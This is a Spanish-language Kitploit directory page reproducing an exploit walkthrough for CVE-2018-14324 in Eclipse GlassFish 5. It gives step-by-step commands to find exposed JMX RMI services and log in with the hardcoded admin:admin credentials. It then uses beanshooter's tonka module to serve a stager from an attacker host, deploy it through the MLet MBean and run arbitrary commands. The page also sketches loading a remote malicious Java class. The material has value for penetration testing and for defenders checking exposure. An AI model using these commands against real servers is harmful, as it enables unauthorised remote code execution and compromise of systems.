Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-14324-Exploit — Hackeando Eclipse GlassFish - CVE-2018-14324 | Kitploit
Herramientas/GitHubGitHub/matejsmycka/cve-2018-14324-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubmatejsmycka/cve-2018-14324-exploit

CVE-2018-14324-Exploit

Hackeando Eclipse GlassFish - CVE-2018-14324

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Hackeando Eclipse GlassFish - CVE-2018-14324

La descripción de CVE-2018-14324 no explica completamente el impacto de esta vulnerabilidad. En resumen, tienes acceso a Java Management Extensions (JMX) mediante credenciales hardcodeadas admin:admin.

Si bien el impacto se enumera como " información potencialmente sensible, realizar operaciones de base de datos o manipular la demo a través de una sesión JMX RMI", no explica qué significa la manipulación a través de la sesión JMX RMI. Investigué a fondo solo por la alta puntuación CVSS de 9.8 y descubrí que prácticamente se puede lograr RCE a través del MBean javax.management.loading:type=MLet, que está habilitado por defecto en una instancia de GlassFish 5.

Descubrimiento

Enumera el servidor GlassFish observando el banner de versión.

root@kitploit:~
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'

Si la versión es la 5, es vulnerable a CVE-2018-14324.

Luego verifica si el servicio JMX RMI se está ejecutando en el puerto 7676.

root@kitploit:~
nc <IP_ADDRESS> 7676

Deberías ver la cadena de conexión al servicio JMX RMI. Guarda la cadena para usarla más adelante.

Por ejemplo:

root@kitploit:~
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx

Como puedes ver, el nombre de host vm31465 se usa en la cadena de conexión; se mencionan dos puertos, 8686 y 7676.

  • 7676 es el puerto JMX RMI utilizado para la búsqueda JNDI
  • 8686 es el puerto del endpoint JMX utilizado para la comunicación JMX

Deberías añadir vm31465 a tu archivo /etc/hosts apuntando a la dirección IP de . Si usas Beanshooter, no es necesario.

Enumeración

¿Qué demonios es JMX? Es Java Management Extensions (JMX), una tecnología que te permite implementar interfaces de gestión para aplicaciones Java. Piénsalo como SNMP para aplicaciones Java.

Primero, necesitas enumerar los MBeans disponibles en el sistema objetivo.

root@kitploit:~
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin

Con este script, obtendrás una lista de MBeans, sus atributos y operaciones.

El MBean com.sun.management:type=DiagnosticCommand te permite ejecutar comandos de diagnóstico en la JVM objetivo. Puedes usarlo para enumerar propiedades del sistema; consulta DiagnosticCommand.java para más información.

Si ves javax.management.loading:type=MLet, deberías poder explotar el objetivo. Este MBean te permite cargar clases Java remotas en la JVM objetivo. Sin embargo, el gestor de seguridad de Java podría impedirte ejecutar código arbitrario. El único exploit funcional para RCE fue el módulo tomka en beanshooter. Los exploits personalizados fueron bloqueados por el gestor de seguridad. La carga MLet seguía funcionando, pero la clase no tenía permitido ejecutar código.

Explotación

Utiliza el módulo tomka de Beanshooter para explotar el objetivo.

root@kitploit:~
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'

También puedes depurar escribiendo tu propio cargador de MBeans y monitoreando si el objetivo se conecta a tu servidor MLet. El flujo es el siguiente:

root@kitploit:~
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup

attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file

attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())

Recursos

  • https://www.synack.com/exploits-explained/exploits-explained-java-jmxs-exploitation-problems-and-resolutions/
  • https://nvd.nist.gov/vuln/detail/CVE-2018-14324
  • https://0xdf.gitlab.io/2025/07/29/htb-manage.html
Descargar herramienta